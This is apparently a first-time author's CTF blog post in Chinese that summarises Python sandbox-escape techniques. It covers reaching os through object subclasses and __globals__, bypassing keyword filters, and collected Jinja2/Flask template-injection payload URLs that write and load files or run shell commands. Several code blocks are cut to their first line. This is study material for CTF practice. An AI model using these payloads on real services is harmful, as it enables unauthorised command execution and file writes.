本文主要讲python沙盒bypass,最早接触的一道有关沙盒绕过的题,来源于国赛,那也是我第一场CTF比赛,可是当时一道题都没有做出来,后面的XMAN选拔赛、还有最近的网鼎杯都有python沙盒的题,那就写一下总结吧。
题目大多都禁用相关关键字、库、函数,甚至禁用了reload,导致不能重载。
沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程。
这种题一般的解题思路,就是变量->对象->基类->子类遍历->全局变量 ,在这个流程中找到我们想要的模块或者函数。
基础知识
在启动python解释器之后,即使没有创建任何的变量或者函数,还是会有许多函数可以使用,这些函数就是内建函数,并不需要我们自己做定义,而是在启动python解释器的时候,就已经导入到内存中供我们使用
1、查看当前内存空间可以调用的模块
不管是哪个版本,这里我们可以看到__builtins__都是默认在启动解释器之后已经导入内存中的,下面我看看__builtins__有哪些属性和方法。
可以看到,这里有不少我们常用到的函数,eval()、print()、hex()等等,最最主要的还是__import__函数,有了它,我们就可以导入任意我们想要的库。
2、类的继承
首先,python中一切均为对象,均继承object对象,python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,现在小小总结了两种创建object的方法如下
1 | [].__class__.__bases__[0] |
然后可以看到存在一个hook函数,直接调用
这里有个小窍门,如果想要找到你想找的模块,可以用or(手算)
1 | [].__class__.__base__.__subclasses__().index(模块名) |
fuzz脚本
1 | #!/usr/bin/env python |
这段代码的目的就是找到调用 os 模块的入口,当然我们只要把os 替换成sys 等其他模块也能得到对应的结果。
1 | #!/usr/bin/env python |
这第二个脚本相当于就是跑了两层。
3、__globals__:
该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用__globals__属性访问全局的变量
4、命令执行
在了解了3之后,接下来。python里面的内置模块本身调用os模块等可以命令执行的库,这也给我们创造了条件。
这里直接给出三个内置模块
1 | <class 'site._Printer'> |
这里我拿<class ‘warnings.catch_warnings’>举个例子,其他苟同。
1 | >>> [].__class__.__base__.__subclasses__()[60] |
下面讲一下一些像禁用了ls、cat、os等关键字bypass
很显然,下面三条都有关键字ls,因此无法绕过waf
1 | [].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].system('dir') |
方法:
1、getattribute+字符串拼接
这里为什么想到__getattribute__呢?
1 | 通过dir()看下实例,类,函数里的情况,都能看到__getattribute__这个魔术方法的存在 |
1 | [].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('__global'+'s__')['os'].system('dir') |
2、编码绕过
1 | >>> a="emit" |
所以,剩下的一样
1 | >>> [].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('5f5f676c6f62616c735f5f'.decode('hex'))['os'].system('dir') |
下面讲一下禁用了关键字符的bypass
1 | 1. 过滤[ |
参考:
禁用import的情况下绕过python沙箱
0x03:南京day4
python沙盒的几种绕过方式
python沙箱逃逸小结
PY交易之简单沙盒绕过
Python沙箱逃逸的n种姿势
python沙盒绕过
Python沙箱逃逸的一些方法
Flask/Jinja2模板注入中的一些绕过姿势
Jinja2 template injection filter bypasses
收集的一些payload
1 | request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY |
1 | "int(open('flag.txt', 'r').read())") exec( |
1 | __import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('sleep 5') |
1 | http://localhost:5000/?exploit={%set i=render_template|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))|attr(request.args.g|format(request.args.a,request.args.a,request.args.a,request.args.a))|attr(request.args.h|format(request.args.a,request.args.a,request.args.a,request.args.a))()%}{{i.pop(40)(request.args.file,request.args.write).write(request.args.payload)}}{{config.from_pyfile(request.args.file)}}&class=class&mro=base&subc=subclasses&usc=_&file=D:\a\1.py&write=w&payload=print+1312337213&f=%s%sclass%s%s&g=%s%sbase%s%s&h=%s%ssubclasses%s%s&a=_ |
1 | http://localhost:5000/?exploit={%set%20i%20=%20render_template|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.mro,request.args.usc*2)|join)%}{{(i|attr((request.args.usc*2,request.args.subc,request.args.usc*2)|join)()).pop(40)(request.args.file,request.args.write).write(request.args.payload)}}{{config.from_pyfile(request.args.file)}}&class=class&mro=base&subc=subclasses&usc=_&file=D:\a\1.py&write=w&payload=print+1312337 |
1 | http://localhost:5000/?exploit={{%22%22|attr(request.args.param)|attr(request.args.mro)|attr(request.args.sub)()|attr(request.args.item)(77)|attr(request.args.init)|attr(request.args.glo)|attr(request.args.ae)(%22popen%22)(%22ls%22)|attr(request.args.re)()}}¶m=__class__&mro=__base__&sub=__subclasses__&item=__getitem__&init=__init__&glo=__globals__&ae=__getitem__&re=read |
END
第一次写文章,如有错误,欢迎指出